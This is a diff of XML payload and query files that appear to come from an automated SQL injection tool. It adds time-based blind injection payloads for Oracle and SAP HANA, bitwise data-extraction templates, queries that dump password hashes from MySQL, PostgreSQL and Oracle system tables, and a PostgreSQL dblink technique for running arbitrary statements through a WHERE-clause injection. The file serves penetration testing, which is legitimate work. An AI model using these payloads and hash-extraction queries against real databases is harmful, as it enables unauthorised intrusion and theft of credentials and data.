<where>3</where>
|
||||
<vector>BEGIN IF ([INFERENCE]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;</vector>
|
||||
<request>
|
||||
<payload>BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Oracle</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Oracle time-based blind - Parameter replace (DBMS_LOCK.SLEEP)</title>
|
||||
<stype>5</stype>
|
||||
@@ -1980,9 +2077,9 @@
|
||||
<risk>1</risk>
|
||||
<clause>2,3</clause>
|
||||
<where>1</where>
|
||||
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))</vector>
|
||||
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))</vector>
|
||||
<request>
|
||||
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))</payload>
|
||||
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
@@ -2072,6 +2169,25 @@
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_SESSION.SLEEP)</title>
|
||||
<stype>5</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>2,3</clause>
|
||||
<where>1</where>
|
||||
<vector>,(BEGIN IF ([INFERENCE]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;)</vector>
|
||||
<request>
|
||||
<payload>,(BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Oracle</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_LOCK.SLEEP)</title>
|
||||
<stype>5</stype>
|
||||
@@ -2170,5 +2286,82 @@
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>SAP HANA AND time-based blind (heavy query)</title>
|
||||
<stype>5</stype>
|
||||
<level>3</level>
|
||||
<risk>2</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE]))</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[DELAYED]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>SAP HANA</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>SAP HANA OR time-based blind (heavy query)</title>
|
||||
<stype>5</stype>
|
||||
<level>3</level>
|
||||
<risk>3</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>OR [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE]))</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[DELAYED]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>SAP HANA</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>SAP HANA AND time-based blind (heavy query - comment)</title>
|
||||
<stype>5</stype>
|
||||
<level>5</level>
|
||||
<risk>2</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE]))</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME))</payload>
|
||||
<comment>--</comment>
|
||||
</request>
|
||||
<response>
|
||||
<time>[DELAYED]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>SAP HANA</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>SAP HANA time-based blind - Parameter replace (heavy query)</title>
|
||||
<stype>5</stype>
|
||||
<level>5</level>
|
||||
<risk>2</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>3</where>
|
||||
<vector>(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE]))</vector>
|
||||
<request>
|
||||
<payload>(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[DELAYED]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>SAP HANA</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<!-- End of time-based boolean tests - ORDER BY, GROUP BY clause -->
|
||||
</root>
|
||||
|
||||
+156
-63
@@ -20,6 +20,9 @@
|
||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||
<hex query="HEX(%s)"/>
|
||||
<inference query="ORD(MID((%s),%d,1))>%d"/>
|
||||
<bitmap query="((ORD(MID((%s),1+FLOOR((%s-%s)/%s),1))>>MOD(%s-%s,%s))&1)=1"/>
|
||||
<bitchar query="((ORD(MID((%s),%s,1))>>(%s))&1)=1"/>
|
||||
<bitcol query="((%s>>%s)&1)=1"/>
|
||||
<banner query="VERSION()"/>
|
||||
<current_user query="CURRENT_USER()"/>
|
||||
<current_db query="DATABASE()"/>
|
||||
@@ -35,8 +38,8 @@
|
||||
<!-- https://github.com/dev-sec/mysql-baseline/issues/35 -->
|
||||
<!-- https://stackoverflow.com/a/31122246 -->
|
||||
<passwords>
|
||||
<inband query="SELECT user,authentication_string FROM mysql.user" condition="user"/>
|
||||
<blind query="SELECT DISTINCT(authentication_string) FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(authentication_string)) FROM mysql.user WHERE user='%s'"/>
|
||||
<inband query="SELECT user,IF(LEFT(authentication_string,3)=0x244124,CONCAT(0x246d7973716c,LEFT(authentication_string,6),0x2a,INSERT(HEX(SUBSTR(authentication_string,8)),41,0,0x2a)),authentication_string) FROM mysql.user" condition="user"/>
|
||||
<blind query="SELECT DISTINCT(IF(LEFT(authentication_string,3)=0x244124,CONCAT(0x246d7973716c,LEFT(authentication_string,6),0x2a,INSERT(HEX(SUBSTR(authentication_string,8)),41,0,0x2a)),authentication_string)) FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(authentication_string)) FROM mysql.user WHERE user='%s'"/>
|
||||
</passwords>
|
||||
<privileges>
|
||||
<inband query="SELECT grantee,privilege_type FROM INFORMATION_SCHEMA.USER_PRIVILEGES" condition="grantee" query2="SELECT user,select_priv,insert_priv,update_priv,delete_priv,create_priv,drop_priv,reload_priv,shutdown_priv,process_priv,file_priv,grant_priv,references_priv,index_priv,alter_priv,show_db_priv,super_priv,create_tmp_table_priv,lock_tables_priv,execute_priv,repl_slave_priv,repl_client_priv,create_view_priv,show_view_priv,create_routine_priv,alter_routine_priv,create_user_priv FROM mysql.user" condition2="user"/>
|
||||
@@ -48,8 +51,8 @@
|
||||
<blind query="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST ORDER BY ID LIMIT %d,1" query2="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST WHERE ID=%d" query3="SELECT ID FROM INFORMATION_SCHEMA.PROCESSLIST LIMIT %d,1" count="SELECT COUNT(DISTINCT(INFO)) FROM INFORMATION_SCHEMA.PROCESSLIST"/>
|
||||
</statements>
|
||||
<procedures>
|
||||
<inband query="SELECT CONCAT(ROUTINE_NAME,' [',ROUTINE_TYPE,'] ',IFNULL(ROUTINE_DEFINITION,'')) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql','sys','information_schema','performance_schema')"/>
|
||||
<blind query="SELECT CONCAT(ROUTINE_NAME,' [',ROUTINE_TYPE,'] ',IFNULL(ROUTINE_DEFINITION,'')) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql','sys','information_schema','performance_schema') ORDER BY ROUTINE_SCHEMA,ROUTINE_NAME LIMIT %d,1" count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql','sys','information_schema','performance_schema')"/>
|
||||
<inband query="SELECT CONCAT(ROUTINE_NAME,' [',ROUTINE_TYPE,'/',SQL_DATA_ACCESS,'/',SECURITY_TYPE,'] ',IFNULL(ROUTINE_DEFINITION,'')) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql','sys','information_schema','performance_schema')"/>
|
||||
<blind query="SELECT CONCAT(ROUTINE_NAME,' [',ROUTINE_TYPE,'/',SQL_DATA_ACCESS,'/',SECURITY_TYPE,'] ',IFNULL(ROUTINE_DEFINITION,'')) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql','sys','information_schema','performance_schema') ORDER BY ROUTINE_SCHEMA,ROUTINE_NAME LIMIT %d,1" count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql','sys','information_schema','performance_schema')"/>
|
||||
</procedures>
|
||||
<dbs>
|
||||
<inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA" query2="SELECT db FROM mysql.db"/>
|
||||
@@ -83,7 +86,7 @@
|
||||
</dbms>
|
||||
|
||||
<dbms value="PostgreSQL">
|
||||
<cast query="CAST(%s AS VARCHAR(10000))"/>
|
||||
<cast query="CAST(%s AS TEXT)"/>
|
||||
<length query="LENGTH(%s)"/>
|
||||
<!-- NOTE: PostgreSQL does not like COALESCE with different data-types (e.g. COALESCE(id,' ')) -->
|
||||
<isnull query="COALESCE(%s::text,' ')"/>
|
||||
@@ -101,6 +104,9 @@
|
||||
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
|
||||
<hex query="ENCODE(CONVERT_TO((%s),'UTF8'),'HEX')"/>
|
||||
<inference query="ASCII(SUBSTRING((%s)::text FROM %d FOR 1))>%d"/>
|
||||
<bitmap query="((ASCII(SUBSTRING((%s)::text FROM (1+FLOOR((%s-%s)/%s))::int FOR 1))>>((%s-%s)%%%s))&1)=1"/>
|
||||
<bitchar query="((ASCII(SUBSTRING((%s)::text FROM (%s)::int FOR 1))>>(%s))&1)=1"/>
|
||||
<bitcol query="((%s>>%s)&1)=1"/>
|
||||
<banner query="VERSION()"/>
|
||||
<current_user query="CURRENT_USER"/>
|
||||
<current_db query="CURRENT_SCHEMA()"/>
|
||||
@@ -119,8 +125,8 @@
|
||||
<blind query="SELECT DISTINCT(passwd) FROM pg_shadow WHERE usename='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(passwd)) FROM pg_shadow WHERE usename='%s'"/>
|
||||
</passwords>
|
||||
<privileges>
|
||||
<inband query="SELECT usename,(CASE WHEN usecreatedb THEN 1 ELSE 0 END),(CASE WHEN usesuper THEN 1 ELSE 0 END),(CASE WHEN usecatupd THEN 1 ELSE 0 END) FROM pg_user" condition="usename"/>
|
||||
<blind query="SELECT (CASE WHEN usecreatedb THEN 1 ELSE 0 END),(CASE WHEN usesuper THEN 1 ELSE 0 END),(CASE WHEN usecatupd THEN 1 ELSE 0 END) FROM pg_user WHERE usename='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user WHERE usename='%s'"/>
|
||||
<inband query="SELECT usename,(CASE WHEN usecreatedb THEN 1 ELSE 0 END),(CASE WHEN usesuper THEN 1 ELSE 0 END),(CASE WHEN userepl THEN 1 ELSE 0 END) FROM pg_user" condition="usename"/>
|
||||
<blind query="SELECT (CASE WHEN usecreatedb THEN 1 ELSE 0 END),(CASE WHEN usesuper THEN 1 ELSE 0 END),(CASE WHEN userepl THEN 1 ELSE 0 END) FROM pg_user WHERE usename='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user WHERE usename='%s'"/>
|
||||
</privileges>
|
||||
<roles/>
|
||||
<statements>
|
||||
@@ -128,9 +134,13 @@
|
||||
<blind query="SELECT DISTINCT(query) FROM pg_stat_activity WHERE query != '<IDLE>' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(query)) FROM pg_stat_activity WHERE query != '<IDLE>'"/>
|
||||
</statements>
|
||||
<procedures>
|
||||
<inband query="SELECT n.nspname||'.'||p.proname||': '||p.prosrc FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema')"/>
|
||||
<blind query="SELECT n.nspname||'.'||p.proname||': '||p.prosrc FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema') ORDER BY n.nspname,p.proname OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema')"/>
|
||||
<inband query="SELECT n.nspname||'.'||p.proname||' ['||(CASE p.provolatile WHEN 'v' THEN 'VOLATILE' WHEN 's' THEN 'STABLE' ELSE 'IMMUTABLE' END)||(CASE WHEN p.prosecdef THEN '/DEFINER' ELSE '/INVOKER' END)||']: '||p.prosrc FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema')"/>
|
||||
<blind query="SELECT n.nspname||'.'||p.proname||' ['||(CASE p.provolatile WHEN 'v' THEN 'VOLATILE' WHEN 's' THEN 'STABLE' ELSE 'IMMUTABLE' END)||(CASE WHEN p.prosecdef THEN '/DEFINER' ELSE '/INVOKER' END)||']: '||p.prosrc FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema') ORDER BY n.nspname,p.proname OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema')"/>
|
||||
</procedures>
|
||||
<gadgets>
|
||||
<!-- Out-of-technique statement execution when stacked queries are not available (e.g. WHERE clause injection). The '%s' placeholder receives the hex-encoded statement, rebuilt server-side to survive string escaping. -->
|
||||
<dblink check="(SELECT dblink_exec('dbname='||current_database(),'RESET application_name') IS NOT NULL)" command="(SELECT LENGTH(dblink_exec('dbname='||current_database(),CONVERT_FROM(DECODE('%s','hex'),'UTF8'))))"/>
|
||||
</gadgets>
|
||||
<dbs>
|
||||
<inband query="SELECT DISTINCT(schemaname) FROM pg_tables"/>
|
||||
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables ORDER BY schemaname OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables"/>
|
||||
@@ -163,8 +173,8 @@
|
||||
</dbms>
|
||||
|
||||
<dbms value="Microsoft SQL Server">
|
||||
<cast query="CAST(%s AS NVARCHAR(4000))"/>
|
||||
<length query="LTRIM(STR(LEN(%s)))"/>
|
||||
<cast query="CAST(%s AS NVARCHAR(MAX))"/>
|
||||
<length query="LTRIM(STR(LEN(%s+'.')-1))"/>
|
||||
<isnull query="ISNULL(%s,' ')"/>
|
||||
<delimiter query="+"/>
|
||||
<limit query="SELECT TOP %d "/>
|
||||
@@ -180,6 +190,9 @@
|
||||
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
|
||||
<hex query="master.dbo.fn_varbintohexstr(CAST(%s AS VARBINARY(8000)))"/>
|
||||
<inference query="UNICODE(SUBSTRING((%s),%d,1))>%d"/>
|
||||
<bitmap query="((UNICODE(SUBSTRING((%s),1+((%s-%s)/%s),1))/POWER(2,((%s-%s)%%%s)))%%2)=1"/>
|
||||
<bitchar query="((UNICODE(SUBSTRING((%s),%s,1))/POWER(2,(%s)))%%2)=1"/>
|
||||
<bitcol query="((%s/POWER(2,%s))%%2)=1"/>
|
||||
<banner query="SELECT @@VERSION"/>
|
||||
<current_user query="SELECT SYSTEM_USER"/>
|
||||
<current_db query="SELECT DB_NAME()"/>
|
||||
@@ -217,12 +230,12 @@
|
||||
<blind query="SELECT TOP 1 %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') AND %s..sysusers.name+'.'+%s..sysobjects.name NOT IN (SELECT TOP %d %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name) ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT TOP 1 table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' AND table_schema+'.'+table_name NOT IN (SELECT TOP %d table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' ORDER BY table_schema+'.'+table_name) ORDER BY table_schema+'.'+table_name" count2="SELECT LTRIM(STR(COUNT(table_name))) FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype='U' AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype='U' ORDER BY name) ORDER BY name" count3="SELECT COUNT(name) FROM %s..sysobjects WHERE xtype='U'"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT %s..syscolumns.name,TYPE_NAME(%s..syscolumns.xtype) AS type_name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query2="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" condition="[DB]..syscolumns.name"/>
|
||||
<blind query="SELECT TOP 1 %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' AND %s..syscolumns.name NOT IN (SELECT TOP %d %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' ORDER BY %s..syscolumns.name) ORDER BY %s..syscolumns.name" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query3="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')" condition="[DB]..syscolumns.name"/>
|
||||
<inband query="SELECT %s..syscolumns.name,TYPE_NAME(%s..syscolumns.xtype) AS type_name FROM %s..syscolumns WHERE %s..syscolumns.id=OBJECT_ID('%s.%s')" query2="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" condition="[DB]..syscolumns.name"/>
|
||||
<blind query="SELECT TOP 1 %s..syscolumns.name FROM %s..syscolumns WHERE %s..syscolumns.id=OBJECT_ID('%s.%s') AND %s..syscolumns.name NOT IN (SELECT TOP %d %s..syscolumns.name FROM %s..syscolumns WHERE %s..syscolumns.id=OBJECT_ID('%s.%s') ORDER BY %s..syscolumns.name) ORDER BY %s..syscolumns.name" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=OBJECT_ID('%s.%s')" query3="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=OBJECT_ID('%s.%s')" condition="[DB]..syscolumns.name"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s"/>
|
||||
<blind query="SELECT MIN(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s) LIKE '%s'" query3="SELECT %s FROM (SELECT %s, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS CAP FROM %s)x WHERE CAP=%d" count="SELECT LTRIM(STR(COUNT(*))) FROM %s" count2="SELECT LTRIM(STR(COUNT(DISTINCT(%s)))) FROM %s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" keyset_ordered="SELECT TOP 1 %s FROM %s WHERE %s ORDER BY %s" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
|
||||
<blind query="SELECT MIN(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s) LIKE '%s'" query3="SELECT %s FROM (SELECT *, %s AS SQLMAPCAPVAL, ROW_NUMBER() OVER (ORDER BY %s) AS CAP FROM %s)x WHERE CAP=%d" count="SELECT LTRIM(STR(COUNT(*))) FROM %s" count2="SELECT LTRIM(STR(COUNT(DISTINCT(%s)))) FROM %s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" keyset_ordered="SELECT TOP 1 %s FROM %s WHERE %s ORDER BY %s" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
|
||||
<primary_key count="SELECT COUNT(*) FROM sys.indexes i JOIN sys.index_columns ic ON i.object_id=ic.object_id AND i.index_id=ic.index_id WHERE i.is_primary_key=1 AND i.object_id=OBJECT_ID('%s.dbo.%s')" query="SELECT name FROM (SELECT c.name AS name, ROW_NUMBER() OVER (ORDER BY ic.key_ordinal) AS rn FROM sys.indexes i JOIN sys.index_columns ic ON i.object_id=ic.object_id AND i.index_id=ic.index_id JOIN sys.columns c ON ic.object_id=c.object_id AND c.column_id=ic.column_id WHERE i.is_primary_key=1 AND i.object_id=OBJECT_ID('%s.dbo.%s')) x WHERE rn=%d+1"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
@@ -260,6 +273,9 @@
|
||||
NOTE: ASCIISTR (https://www.techonthenet.com/oracle/functions/asciistr.php)
|
||||
-->
|
||||
<inference query="ASCII(SUBSTRC((%s),%d,1))>%d"/>
|
||||
<bitmap query="(BITAND(ASCII(SUBSTRC((%s),1+FLOOR((%s-%s)/%s),1)),POWER(2,MOD(%s-%s,%s)))>0)"/>
|
||||
<bitchar query="(BITAND(ASCII(SUBSTRC((%s),%s,1)),POWER(2,(%s)))>0)"/>
|
||||
<bitcol query="BITAND(%s,POWER(2,%s))>0"/>
|
||||
<banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
|
||||
<current_user query="SELECT USER FROM DUAL"/>
|
||||
<!--
|
||||
@@ -280,8 +296,8 @@
|
||||
<blind query="SELECT USERNAME FROM (SELECT USERNAME,ROWNUM AS CAP FROM SYS.ALL_USERS) WHERE CAP=%d" count="SELECT COUNT(USERNAME) FROM SYS.ALL_USERS"/>
|
||||
</users>
|
||||
<passwords>
|
||||
<inband query="SELECT NAME,PASSWORD FROM SYS.USER$" condition="NAME"/>
|
||||
<blind query="SELECT PASSWORD FROM (SELECT PASSWORD,ROWNUM AS CAP FROM SYS.USER$ WHERE NAME='%s') WHERE CAP=%d" count="SELECT COUNT(PASSWORD) FROM SYS.USER$ WHERE NAME='%s'"/>
|
||||
<inband query="SELECT NAME,COALESCE(REGEXP_SUBSTR(SPARE4,'S:[0-9A-F]{60}'),REGEXP_SUBSTR(SPARE4,'T:[0-9A-F]{160}'),PASSWORD) FROM SYS.USER$" condition="NAME"/>
|
||||
<blind query="SELECT COALESCE(REGEXP_SUBSTR(SPARE4,'S:[0-9A-F]{60}'),REGEXP_SUBSTR(SPARE4,'T:[0-9A-F]{160}'),PASSWORD) FROM (SELECT SPARE4,PASSWORD,ROWNUM AS CAP FROM SYS.USER$ WHERE NAME='%s') WHERE CAP=%d" count="SELECT COUNT(*) FROM SYS.USER$ WHERE NAME='%s'"/>
|
||||
</passwords>
|
||||
<!--
|
||||
NOTE: in Oracle to enumerate the privileges for the session user you can use:
|
||||
@@ -305,8 +321,8 @@
|
||||
</statements>
|
||||
<!-- NOTE: ALL_SOURCE stores one row per source line, so LISTAGG reassembles them (subject to its 4000-char limit). ORACLE_MAINTAINED='N' (12.2+) cleanly excludes every Oracle built-in schema (SYS, WMSYS, LBACSYS, DVSYS, ...) instead of a hand-maintained blocklist. -->
|
||||
<procedures>
|
||||
<inband query="SELECT NAME||' ['||TYPE||'] '||(SELECT LISTAGG(TEXT) WITHIN GROUP (ORDER BY LINE) FROM ALL_SOURCE WHERE NAME=s.NAME AND OWNER=s.OWNER AND TYPE=s.TYPE) FROM (SELECT DISTINCT OWNER,NAME,TYPE FROM ALL_SOURCE WHERE TYPE IN ('PROCEDURE','FUNCTION') AND OWNER IN (SELECT USERNAME FROM ALL_USERS WHERE ORACLE_MAINTAINED='N')) s"/>
|
||||
<blind query="SELECT NAME||' ['||TYPE||'] '||(SELECT LISTAGG(TEXT) WITHIN GROUP (ORDER BY LINE) FROM ALL_SOURCE WHERE NAME=s.NAME AND OWNER=s.OWNER AND TYPE=s.TYPE) FROM (SELECT DISTINCT OWNER,NAME,TYPE FROM ALL_SOURCE WHERE TYPE IN ('PROCEDURE','FUNCTION') AND OWNER IN (SELECT USERNAME FROM ALL_USERS WHERE ORACLE_MAINTAINED='N')) s ORDER BY NAME OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" count="SELECT COUNT(*) FROM (SELECT DISTINCT OWNER,NAME,TYPE FROM ALL_SOURCE WHERE TYPE IN ('PROCEDURE','FUNCTION') AND OWNER IN (SELECT USERNAME FROM ALL_USERS WHERE ORACLE_MAINTAINED='N'))"/>
|
||||
<inband query="SELECT NAME||' ['||TYPE||'] '||(SELECT LISTAGG(TEXT ON OVERFLOW TRUNCATE) WITHIN GROUP (ORDER BY LINE) FROM ALL_SOURCE WHERE NAME=s.NAME AND OWNER=s.OWNER AND TYPE=s.TYPE) FROM (SELECT DISTINCT OWNER,NAME,TYPE FROM ALL_SOURCE WHERE TYPE IN ('PROCEDURE','FUNCTION') AND OWNER IN (SELECT USERNAME FROM ALL_USERS WHERE ORACLE_MAINTAINED='N')) s"/>
|
||||
<blind query="SELECT NAME||' ['||TYPE||'] '||(SELECT LISTAGG(TEXT ON OVERFLOW TRUNCATE) WITHIN GROUP (ORDER BY LINE) FROM ALL_SOURCE WHERE NAME=s.NAME AND OWNER=s.OWNER AND TYPE=s.TYPE) FROM (SELECT DISTINCT OWNER,NAME,TYPE FROM ALL_SOURCE WHERE TYPE IN ('PROCEDURE','FUNCTION') AND OWNER IN (SELECT USERNAME FROM ALL_USERS WHERE ORACLE_MAINTAINED='N')) s ORDER BY NAME OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" count="SELECT COUNT(*) FROM (SELECT DISTINCT OWNER,NAME,TYPE FROM ALL_SOURCE WHERE TYPE IN ('PROCEDURE','FUNCTION') AND OWNER IN (SELECT USERNAME FROM ALL_USERS WHERE ORACLE_MAINTAINED='N'))"/>
|
||||
</procedures>
|
